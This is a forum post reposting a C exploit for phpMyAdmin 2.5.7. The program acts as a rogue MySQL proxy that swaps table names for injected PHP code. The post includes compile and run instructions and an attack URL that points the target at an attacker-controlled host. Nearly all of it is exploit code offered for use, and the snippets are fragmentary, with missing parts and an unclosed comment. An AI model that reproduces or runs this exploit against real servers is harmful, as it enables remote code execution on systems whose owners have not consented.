OldSkool already posted this exploit but in trial member zone, and I think can be post here ... so if I am mistaken : deleted my post.
This exploit make a code injection in phpMyAdmin version 2.5.7, so take care with this information, a new version in beta exist ... 2.6.0 beta 2 currently...
CODE
/* * phpmy-explt.c * written by Nasir Simbolon <nasir kecapi com> * eagle kecapi com * Jakarta, Indonesia * * June, 10 2004 * * A phpMyAdmin-2.5.7 exploite program. * This is a kind of mysql server wrapper acts like a proxy except that it will sends a fake table name, * when client query "SHOW TABLES", by replacing the real table name with a string contains exploite codes. * * Compile : gcc phpmy-explt.c -o phpmy-explt * * run with * ./phpmy-explt * * and go to your target and put * * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]= * attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers] * [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers] * [4][only_db]=databasename * * fill host,port,user,pass and databasename correctly * */
/* This is php code we want to inject into phpMyAdmin Do NOT use single quote (') in the string, use double quote (") instead */ char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";
/* This is examples codes I captured when mysql server reply to client's request of query "SHOW TABLES" query. It shows database name 'phpmy' and contain one tablename 'mytable' Our aim is to manipulate the data received from mysql server by replacing 'mytable' with our exploide codes.
for(;;) { fprintf(stderr,"waiting for connection\n");
if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) ) perror("accept()"); /* if we get here, we have a new connection */ fprintf(stderr,"got client connection\n"); mysql: /* connect to mysql */ s_mysql = connect_mysql();
/* check data received from mysql server. * if buf[11] contain 'T', data received from mysq server is table list * * NOW we replace the table with our exploite codes and send them to client */ if( 'T' == buf[11]) { for(i=0;i<exptlen;i++) buf[i] = expt[i]; byte_read = exptlen; }